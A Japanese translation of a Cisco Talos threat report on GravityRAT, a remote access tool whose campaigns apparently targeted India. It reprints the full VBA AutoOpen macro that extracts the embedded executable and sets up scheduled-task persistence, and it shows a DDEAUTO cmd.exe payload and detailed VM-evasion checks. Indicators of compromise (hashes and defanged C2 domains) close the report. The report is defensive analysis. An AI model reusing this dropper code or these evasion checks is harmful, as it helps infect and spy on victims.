概要
現在 Cisco Talos は、新種のマルウェアを解明している最中です。このマルウェアは、過去 2 年にわたり発見を免れていましたが、その間も開発が続けられてきました。数週間前、私たちはこの RAT(リモート アクセス ツール)の最新バージョンが使用されたことを確認しました。この記事では、GravityRAT と呼ばれるこのマルウェアの技術的機能、進化、開発、潜在的な属性について説明します。
GravityRAT は、少なくとも 18 カ月以上にわたって開発が進められ、その間も開発者によって新しい機能が実装されてきました。私たちは、GravityRAT が登場してからこれまでにファイルの漏洩、リモート コマンド実行機能、VM 対策機能が追加されたことを確認しました。標準的なリモート コード実行機能にとどまらずにこのように絶えず進化を続けていることは、開発者が強い意思と革新的な技術を持つことの現れであるため、注意が必要です。
この度の調査全体を通じて、被害者を攻撃するために使用された複数の悪意のあるドキュメントを確認していますので、これについても説明します。こうした悪意のあるドキュメントは、主要な分析プラットフォームである VirusTotal で複数のテストを実行するために開発者によって使用されました。VirusTotal を使用することで、開発者はウイルス対策による検出の確率を低減するための変更を行うことができました。
GravityRAT については、これまで文書が公開されたことも議論されたこともありませんでしたが、インドの国家コンピュータ緊急対策チーム(CERT)に、インドに対する標的型攻撃で GravityRAT が使用されたことを示す情報が残っています。この記事の最後では、GravityRAT 調査中に具体的な情報を特定する中で発見した一部の属性情報について説明します。場所、開発者のものの可能性がある名前などのこれらの情報は、開発者が露呈してしまったと考えられます。
感染ベクトル
悪意のある Office ドキュメント
マルウェア作者によって作成された悪意のあるドキュメントの大半は、Microsoft Office Word ドキュメントです。攻撃者は、犠牲者のシステム上で悪意のあるコードを実行するために、ドキュメントに埋め込まれたマクロを使用します。このドキュメントを開くと次のように表示されます。
このドキュメントは、(インターネットでよく使用されている CAPTCHA のように)自身がロボットでないことを証明するためにマクロを有効にするようにユーザに指示します。しかし、これは多くの Office ベースのマルウェアで使用されるよく知られた手法です。システム上で保護モードを使用しているすべてのユーザを騙そうとしているのです。マクロが有効になると、マルウェアは実行を開始することが可能になります。私たちは、この埋め込みマクロは抽出時のサイズが非常に小さいことを突き止めました。
Sub AutoOpen() If Not Dir(Environ("TEMP") + "\image4.exe") "" Then Const lCancelled_c As Long = 0 Dim sSaveAsPath As String sSaveAsPath = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") + "\temporary.zip" If VBA.LenB(sSaveAsPath) = lCancelled_c Then Exit Sub ActiveDocument.Save Application.Documents.Add ActiveDocument.FullName ActiveDocument.SaveAs sSaveAsPath ActiveDocument.Close Set app = CreateObject("Shell.Application") ExtractTo = CreateObject("WScript.Shell").ExpandEnvironmentStrings("%Temp%") ExtractByExtension app.NameSpace(Environ("TEMP") + "\temporary.zip"), "exe", ExtractTo End If End Sub Sub ExtractByExtension(fldr, ext, dst) Set FSO = CreateObject("Scripting.FileSystemObject") Set app = CreateObject("Shell.Application") For Each f In fldr.Items If f.Type = "File folder" Then ExtractByExtension f.GetFolder, ext, dst ElseIf LCase(FSO.GetExtensionName(f.Name)) = LCase(ext) Then If Not Dir(Environ("TEMP") + "\image4.exe") "" Then app.NameSpace(dst).CopyHere f.Path, &H4 End If End If Next Shell "schtasks /create /tn wordtest /tr ""'%temp%\image4.exe' 35"" /sc DAILY /f /RI 10 /du 24:00 /st 00:01" End Sub
このマクロには 3 つの関数が含まれています。
- 1 つ目の関数は、このドキュメントを開いたときに実行されます。その目的はアクティブなドキュメント(開いた Word ドキュメント)を一時ディレクトリにコピーし、ZIP アーカイブとして別名で保存することです。実際、この docx 形式は一般的な ZIP アーカイブで、一般的なツールを使用して解凍できます。
- 2 つ目の関数は、この「temporary.zip」ファイルを解凍し、内部の保存されている .exe ファイルを抽出します。
- 3 つ目の関数は、毎日この悪意のあるファイルを実行するために、「wordtest」という名前のスケジュールされたタスクを作成します。
このアプローチを通じて、攻撃者は、ファイルが直接実行されないことを保証できます(この実行可能ファイルは、スケジュールされたタスクによって実行されます)。また、追加のペイロードがダウンロードされることはなく、作者は実行可能ファイル(GravityRAT)を含めるために docx 形式のアーカイブを活用することができます。
作者によるテスト
私たちは、このマルウェアの追跡中に、この作者からテスト目的で VirusTotal に送信された複数の悪意のあるドキュメントを確認しました。彼らは(マクロを変更したり、悪意のあるペイロードの代わりに calc を実行することによって)マクロの検出状況をテストしました。また開発者は、Office ドキュメントで動的データ交換(DDE)の実行を試みました。これは Microsoft Office ドキュメント内に存在する DDE プロトコルの悪用です。この機能は Microsoft によって提供されていますが、悪意のあるアクティビティのために攻撃者が活用できる機能でもあります。Microsoft は、以前にリスク緩和情報を公開しています(こちらからご確認ください)。開発者は VirusTotal で検出されるかどうかを確認するために、Office Word および Excel ドキュメントを作成しました。作者は、ドキュメント内の別の部分(メイン オブジェクトやヘッダーなど)に DDE オブジェクトを隠匿しようと試みました。この DDE オブジェクトは、検出されたサンプル内で単純に Microsoft calc を実行します。次に例を示します。
<?xml version=”1.0″ encoding=”UTF-8″ standalone=”yes”?>
<w:document […redated…}] mc:Ignorable=”w14 w15 wp14″><w:body><w:p w:rsidR=”00215C91″ w:rsidRDefault=”008C166A”><w:r><w:fldChar w:fldCharType=”begin”/></w:r><w:r><w:instrText xml:space=”preserve”> </w:instrText></w:r><w:r><w:rPr><w:rFonts w:ascii=”Helvetica” w:hAnsi=”Helvetica” w:cs=”Helvetica”/><w:color w:val=”383838″/><w:spacing w:val=”3″/><w:sz w:val=”26″/><w:szCs w:val=”26″/><w:shd w:val=”clear” w:color=”auto” w:fill=”FFFFFF”/></w:rPr><w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe “/k calc.exe”</w:instrText></w:r><w:r><w:instrText xml:space=”preserve”> </w:instrText></w:r><w:r><w:fldChar w:fldCharType=”end”/></w:r><w:bookmarkStart w:id=”0″ w:name=”_GoBack”/><w:bookmarkEnd w:id=”0″/></w:p><w:sectPr w:rsidR=”00215C91″><w:pgSz w:w=”12240″ w:h=”15840″/><w:pgMar w:top=”1440″ w:right=”1440″ w:bottom=”1440″ w:left=”1440″ w:header=”720″ w:footer=”720″ w:gutter=”0″/><w:cols w:space=”720″/><w:docGrid w:linePitch=”360″/></w:sectPr></w:body></w:document>
私たちは、送信されたサンプルのファイル名がテスト ドキュメントであると確信しています。マルウェアの検出を免れるために、作者によってさまざまな手法と Office のトリックが駆使されました。これらのファイル名を以下に示します。
• testnew1.docx
• Test123.docx
• test456.docx
• test2.docx
• book1test2.xlsx
• Test123.doc
GRAVITYRAT
私たちが最初に GravityRAT を発見したのは、悪意のある Word ドキュメントを通じてでした。すでに説明したとおり、この Word ドキュメントには最終的にペイロードを配信するためにさまざまなマクロが埋め込まれていました。これがこのマルウェアの最新バージョンであると考えて、この攻撃者がどれくらいの期間にわたって精力的に活動してきたか、攻撃はどのように進化してきたかを突き止めることにしました。その結果、2 年間にわたって開発された 4 つの異なるバージョンの GravityRAT を発見することができました。次に、このマルウェアの開発ライフ サイクルと、この開発者によって実行された機能追加の目的について説明します。
バージョン G1
このマルウェア作者は、「G」から始まるバージョニング システムを使用しています。私たちが特定した最も古いバージョンは G1 です。サンプルにある PDB のパスは、次のとおりです。
f:\F\Windows Work\G1\Adeel's Laptop\G1 Main Virus\systemInterrupts\gravity\obj\x86\Debug\systemInterrupts.pdb
開発者の名前が Adeel の可能性があることがわかります。もちろんこの情報は、マルウェア作者によって操作可能です。このサンプルは 2016 年 12 月に作成されました。このサンプルの元のファイル名は resume.exe です。
このバージョンの目的は、侵害したシステムの次の情報を盗むことでした。
• MAC アドレス
• コンピュータ名
• ユーザ名
• IP アドレス
• 日付
• 次の拡張子を持つファイル:.docx、.doc、.pptx、.ppt、.xlsx、.xls、.rtf、.pdf
• システムでマップされているボリューム
これらの情報はすべて、次のいずれかのドメインに送信されました。
G1 は、感染したホスト マシン上で、作者が自在にリモートからコマンドを実行できるようにする機能も備えていました。
バージョン G2
私たちは、2017 年 7 月に G2 という名前の新しい亜種を特定しました。下記はこのサンプルの PDB です。
e:\Windows Work\G2\G2 Main Virus\Microsoft Virus Solutions (G2 v5) (Current)\Microsoft Virus Solutions\obj\Debug\Windows Wireless 802.11.pdb
このバージョンでは、開発者はマルウェアのアーキテクチャを変更しました。メイン コードの目的は、ファイルのリソースに保管されている 2 つの別の .NET バイナリをロードして実行することでした。
- 最初のリソースは、GitHub で利用可能な正当なオープンソース ライブラリです。これは Windows Task Scheduler の .NET ラッパーです。
- 2 つ目は GravityRAT の G2 バージョンです。
この亜種は G1 と同じコマンド & コントロール(C2)サーバを共有しますが、G2 にはさらに「ペイロード」変数が追加されました。
この亜種は前のバージョンとほぼ同じ機能を備えていましたが、1 つだけ機能が追加されていました。WMI リクエストを介して Win32 Processor エントリの CPU 情報(プロセッサ ID、名前、メーカー、クロック速度)を収集する機能です。おそらく攻撃者は、このマルウェア内での VM 対策の一環でこの情報を使用したと考えられます。この情報は仮想環境における分析を阻止するために使用されます。
以前の亜種から若干変更された新しいペイロードは、Windows のスケジュールされたタスクで実行されます。.NET ラッパーが含まれているのはそのためでしょう。
分析されたサンプルには、リソース セクションにデコイ画像文書が含まれていました。
バージョン G3
2017 年 8 月、GravityRAT の作者は新しい亜種である G3 を使用しました。PDB は次のとおりです。
F:\Projects\g3\G3 Version 4.0\G3\G3\obj\Release\Intel Core.pdb
この亜種は、G2 と同じ手法を使用し、リソース セクションには正当なライブラリが含まれています。開発者は、ライブラリに次の言語サポートも追加しました。
- ドイツ語
- スペイン語
- フランス語
- イタリア語
- 中国語
作者は、この亜種で C2 サーバのバックエンドを変更しました。URI も変更され、GravityRAT の亜種名が含まれました。
8 月は、インドの CERT が標的攻撃で GravityRAT が使用されたことを潜在的犠牲者に通知した月でもあります。このマルウェアは継続的に開発されていることから、次の亜種の登場は時間の問題でした。
バージョン GX
GravityRAT の最新バージョンは、GX という名前で 2017 年 12 月に作成されました。PDB は次のとおりです。
C:\Users\The Invincible\Desktop\gx\gx-current-program\LSASS\obj\Release\LSASS.pdb
このバージョンは、GravityRAT で最も高度な亜種です。私たちは、この進化全体を通じてこのマルウェアにオープンソースの正当な .NET ライブラリ(スケジュール タスク、圧縮、暗号化、.NET ローディング用)が埋め込まれてきたことを確認しました。この亜種には「important」という名前のリソースが含まれています。これはパスワードで保護されたアーカイブです。
この亜種は以前と同じ機能を備えていますが、いくつかの新機能が追加されました。
- netstat コマンドを実行することにより、犠牲者ホストのオープン ポートを収集します。
- 実行中のすべてのプロセスを表示します。
- システムで利用可能なサービスを表示します。
- 亜種 G1 で説明した拡張子に加えて、.ppt および .pptx ファイルを抽出します。
- システムに USB キーが接続されている場合、このマルウェアは拡張子リストに基づいてファイルを盗みます。
- ファイル暗号化をサポートします(AES とキー「lolomycin2017」を使用)。
- アカウントの情報(アカウントのタイプ、説明、ドメイン名、フルネーム、SID、ステータス)を収集します。
- 複数の技法を使用してシステムが仮想マシンかどうかをチェックします。
開発者は、侵害したシステムが仮想マシンかどうかを特定するために、合計 7 つの技法を実装しました。
最初は、(レジストリ キーを確認することによって)システムにインストール済みのハイパーバイザが使用する補足的なツールを探す技法です。
2 つ目の技法では、BIOS バージョンへの WMI リクエストを使用します(Win32_BIOS エントリ)。応答に「VMware」、「Virtual」、「XEN」、「Xen」または「A M I」が含まれている場合、システムは仮想マシンとみなされます。また、このマルウェアはシリアル番号と BIOS のバージョンをチェックします。
3 つ目の技法では、WMI の Win32_Computer エントリを使用します。Manufacturer に「VIRTUAL」、「VMWARE」、または「VirtualBox」が含まれているかをチェックします。
4 つ目の技法では、システムのプロセッサ ID をチェックします。
5 つ目の技法では、感染システムのコア数をカウントします(作者はコアが複数であると想定しています)。
6 つ目の技法では、システムの現在の CPU 温度をチェックします(MSAcpi_ThermalZoneTemperature エントリ)。実際、いくつかのハイパーバイザ(VMware、VirtualBox、Hyper-V)は温度チェックをサポートしていません。この WMI リクエストは単純に「not supported」を返します。標的システムが実際のマシンかどうかを検出するためにこの動作を使用できます。
最後の技法は、感染したシステムの MAC アドレスを使用します。MAC アドレスがよく知られた 16 進数で開始される場合、システムは仮想マシンとみなされます。
C2 サーバ通信は、以前と同様に HTTP で実行されます。GX の亜種バージョンが URI で使用されます。私たちが確認できる C2 サーバは、以前の亜種と共有されています。
作者について判明した情報
以下に、攻撃者と関連するマルウェアに関して取得した情報の証拠を示します。属性は明らかに複雑な領域です。開発者は、送信元を偽造するためにプロキシまたは VPN を使用していた可能性があります。しかしここでは、この開発者に関して判明した事実をお伝えします。
開発者は、この 2 年間で少なくとも 2 つの異なるユーザ名(「The Invincible」および「TheMartian」)を使用しました。最も古いバージョンの GravityRAT では、攻撃者は PDB で自分の名前「Adeel」を露呈した可能性があります(パスに「Adeel’s Laptop」が含まれていました)。また、すべての悪意のある Office ドキュメント、具体的に言うと VirusTotal でのウイルス対策のテストに使用されたドキュメントは、パキスタンから送信されていました。IOC セクションの 4 つの PE ファイルのうちの 1 つも、パキスタンから送信されていました。
2017 年 8 月には、インドの国家 CERT が悪意のある標的型攻撃に関するアドバイザリを発行しました。このアドバイザリでは、GravityRAT の C2 サーバ インフラストラクチャについて言及されています。つまり GravityRAT の作者がインドのエンティティ/組織を標的にした可能性があります。私たちは Cisco Umbrella を活用し、調査ツールを駆使することで、上記に列挙した C2 ドメイン全体にわたってインドから発信された膨大なトラフィックを確認することができました。インドの国家 CERT によって証明されているように、すべての C2 ドメインに対する要求は少なくとも 50% がインドの IP インフラから送信されました。インド以外の一部の IP 領域からの要求は、私たち独自の調査によるものである可能性があります。
まとめ
この攻撃者は、おそらく私たちがこれまで観察した最も高度な攻撃者の域には達していません。しかし、2016 年から検出を逃れてきたことは事実です。彼らは悪意のあるコードを開発し、4 つの亜種を作成しました。新しい亜種には、それぞれ新機能が追加されていました。開発者は、常に同じ C2 インフラストラクチャを使用しました。また、このインフラストラクチャを安全に保ち、セキュリティ ベンダーのブラックリストに含まれないようにできる賢さがありました。攻撃者は、分析を逃れるために、時間をかけて仮想環境を確実に回避していました。ただし、.NET コードの難読化には時間をかけませんでした。このコードのほとんどは一般的なものだったので、リバース エンジニアリングすることができました。つまりこのマルウェアの静的な分析は容易に実行できました。
インド CERT はこの攻撃者に関するアドバイザリを発行し、インドのエンティティおよび組織が標的にされたことを示唆しました。
攻撃者は、サンプル内(Adeel)および VirusTotal プラットフォームで情報を露呈しました。この情報のおかげで、私たちは多くの主要なエンジンでの検出率を低減するために悪意のあるドキュメントをテストした方法を理解することができました。このテストの実行中、すべてのサンプルはパキスタンから VirusTotal にアップロードされました。
カバレッジ
お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
CWS や WSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されたマルウェアを検出します。
E メール セキュリティは、攻撃の一環として攻撃者が送りつける不正なE メールをブロックします。
NGFW や NGIPS、および Meraki MX などのネットワーク セキュリティ アプライアンスで、この脅威に関連付けられた悪意のあるアクティビティを検出できます。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。
シスコのセキュア インターネット ゲートウェイ(SIG)であるUmbrellaは、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
オープンソース Snort サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。
の痕跡)
悪意のあるドキュメント
マクロ
0beb2eb1214d4fd78e1e92db579e24d12e875be553002a778fb38a225cadb703
70dc2a4d9da2b3338dd0fbd0719e8dc39bc9d8e3e959000b8c8bb04c931aff82
835e759735438cd3ad8f4c6dd8b035a3a07d6ce5ce48aedff1bcad962def1aa4
C14f859eed0f4540ab41362d963388518a232deef8ecc63eb072d5477e151719
ed0eadd8e8e82e7d3829d71ab0926c409a23bf2e7a4ff6ea5b533c5defba4f2a
f4806c5e4449a6f0fe5e93321561811e520f738cfe8d1cf198ef12672ff06136
その他の悪意のあるドキュメント(DDE)
911269e72cd6ed4835040483c4860294d26bfb3b351df718afd367267cd9024f
fb7aa28a9d8fcfcabacd7f390cee5a5ed67734602f6dfa599bff63466694d210
ef4769606adcd4f623eea29561596e5c0c628cb3932b30428c38cfe852aa8301
cd140cf5a9030177316a15bef19745b0bebb4eb453ddb4038b5f15dacfaeb3a2
07682c1626c80fa1bb33d7368f6539edf8867faeea4b94fedf2afd4565b91105
GravityRAT
G1
9f30163c0fe99825022649c5a066a4c972b76210368531d0cfa4c1736c32fb3a
G2
1993f8d2606c83e22a262ac93cc9f69f972c04460831115b57b3f6244ac128bc
G3
99dd67915566c0951b78d323bb066eb5b130cc7ebd6355ec0338469876503f90
GX
1c0ea462f0bbd7acfdf4c6daf3cb8ce09e1375b766fbd3ff89f40c0aa3f4fc96
C2 サーバ
hxxp://cone[.]msoftupdates.com:46769
hxxp://ctwo[.]msoftupdates.com:46769
hxxp://cthree[.]msoftupdates.com:46769
hxxp://eone[.]msoftupdates.eu:46769
hxxp://etwo[.]msoftupdates.eu:46769
hxxp://msupdates[.]mylogisoft.com:46769
hxxp://coreupdate[.]msoftupdates.com:46769
hxxp://updateserver[.]msoftupdates.eu:46769
msoftupdates[.]com
msoftupdates[.]eu
mylogisoft[.]com
URI:
/Gvty@/1ns3rt_39291384.php
/Gvty@/newIns3rt.php
/Gvty@/payloads
/Gvty@/ip.php
/G3/ServerSide/G3.php
/G3/Payload/
/GX/GX-Server.php
/GetActiveDomains.php
本稿は 2018年4月26日に Talos Group のブログに投稿された「GravityRAT – The Two-Year Evolution Of An APT Targeting India」の抄訳です。